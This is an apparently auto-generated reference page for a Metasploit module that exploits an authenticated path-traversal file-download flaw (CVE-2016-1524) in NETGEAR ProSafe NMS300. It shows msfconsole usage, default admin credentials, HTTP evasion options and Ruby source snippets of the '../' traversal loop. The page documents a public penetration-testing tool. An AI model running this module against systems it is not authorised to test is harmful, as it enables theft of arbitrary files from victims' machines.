NETGEAR ProSafe Network Management System 300 Authenticated File Download - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/netgear_auth_download metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NETGEAR ProSafe Network Management System 300 Authenticated File Download
Module: auxiliary/admin/http/netgear_auth_download
Source code: modules/auxiliary/admin/http/netgear_auth_download.rb
Disclosure date: 2016-02-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-1524
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. The application has a file download vulnerability that can be exploited by an authenticated remote attacker to download any file in the system. This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/netgear_auth_download
msf auxiliary(netgear_auth_download) > show targets
... a list of targets ...
msf auxiliary(netgear_auth_download) > set TARGET target-id
msf auxiliary(netgear_auth_download) > show options
... show and set options ...
msf auxiliary(netgear_auth_download) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the admin/http/netgear_auth_download auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/netgear_auth_download
msf6 auxiliary(admin/http/netgear_auth_download) > show info
Name: NETGEAR ProSafe Network Management System 300 Authenticated File Download
Module: auxiliary/admin/http/netgear_auth_download
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-02-04
Provided by:
Pedro Ribeiro <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /Windows/System32/calc.exe no Path of the file to download minus the drive letter
PASSWORD admin yes Password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Application path
USERNAME admin yes The username to login as
VHOST no HTTP server virtual host
Description:
Netgear's ProSafe NMS300 is a network management utility that runs
on Windows systems. The application has a file download
vulnerability that can be exploited by an authenticated remote
attacker to download any file in the system. This module has been
tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-1524
https://www.kb.cert.org/vuls/id/777024
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt
https://seclists.org/fulldisclosure/2016/Feb/30
Module Options
This is a complete list of options available in the admin/http/netgear_auth_download auxiliary module:
msf6 auxiliary(admin/http/netgear_auth_download) > show options
Module options (auxiliary/admin/http/netgear_auth_download):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /Windows/System32/calc.exe no Path of the file to download minus the drive letter
PASSWORD admin yes Password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Application path
USERNAME admin yes The username to login as
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/netgear_auth_download auxiliary module:
msf6 auxiliary(admin/http/netgear_auth_download) > show advanced
Module advanced options (auxiliary/admin/http/netgear_auth_download):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 15 no Max depth to traverse
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/netgear_auth_download module can do:
msf6 auxiliary(admin/http/netgear_auth_download) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/netgear_auth_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/netgear_auth_download) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not connect.
Here is a relevant code snippet related to the "<PEER> - Could not connect." error message:
126: })
127: end
128: end
129: return nil
130: rescue Rex::ConnectionRefused
131: print_error("#{peer} - Could not connect.")
132: return
133: end
134: end
135:
136:
<PEER> - Failed to log in with the provided credentials.
Here is a relevant code snippet related to the "<PEER> - Failed to log in with the provided credentials." error message:
149: end
150:
151: def run
152: cookie = authenticate
153: if cookie == nil
154: fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
155: else
156: print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
157: store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol
158: end
159:
<PEER> - Please supply the path of the file you want to download.
Here is a relevant code snippet related to the "<PEER> - Please supply the path of the file you want to download." error message:
156: print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
157: store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol
158: end
159:
160: if datastore['FILEPATH'].blank?
161: fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
162: return
163: end
164:
165: filepath = datastore['FILEPATH']
166: res = download_file(filepath, cookie)
<PEER> - File not found, using bruteforce to attempt to download the file
Here is a relevant code snippet related to the "<PEER> - File not found, using bruteforce to attempt to download the file" error message:
169: save_file(res.body)
170: return
171: end
172: end
173:
174: print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
175: count = 1
176: while count < datastore['DEPTH']
177: res = download_file(("../" * count).chomp('/') + filepath, cookie)
178: if res && res.code == 200
179: if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
<PEER> - Failed to download file.
Here is a relevant code snippet related to the "<PEER> - Failed to download file." error message:
179: if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
180: save_file(res.body)
181: return
182: end
183: end
184: count += 1
185: end
186:
187: print_error("#{peer} - Failed to download file.")
188: end
189: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8914 Merged Pull Request: refactor auxiliary/admin/http credential storage
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6531 Merged Pull Request: Create exploit for CERT VU #777024 - part 2, authenticated download
References
- CVE-2016-1524
- VU#777024
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt
- https://seclists.org/fulldisclosure/2016/Feb/30
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/gather/netgear_password_disclosure
- auxiliary/scanner/http/netgear_sph200d_traversal
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_dgn2200b_pppoe_exec
- exploit/linux/http/netgear_dnslookup_cmd_exec
- exploit/linux/http/netgear_r7000_cgibin_exec
- exploit/linux/http/netgear_readynas_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/netgear_wnr2000_rce
- exploit/linux/telnet/netgear_telnetenable
- exploit/windows/http/netgear_nms_rce
- auxiliary/admin/http/ibm_drm_download
- auxiliary/admin/http/limesurvey_file_download
- auxiliary/admin/http/manageengine_file_download
- auxiliary/admin/http/netflow_file_download
- auxiliary/admin/http/sysaid_file_download
- auxiliary/admin/http/ulterius_file_download
- auxiliary/admin/http/webnms_file_download
- auxiliary/admin/networking/cisco_dcnm_download
- auxiliary/gather/nuuo_cms_file_download
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/hp_imc_som_file_download
- auxiliary/admin/http/allegro_rompager_auth_bypass
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/http/grafana_auth_bypass
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/admin/http/iis_auth_bypass
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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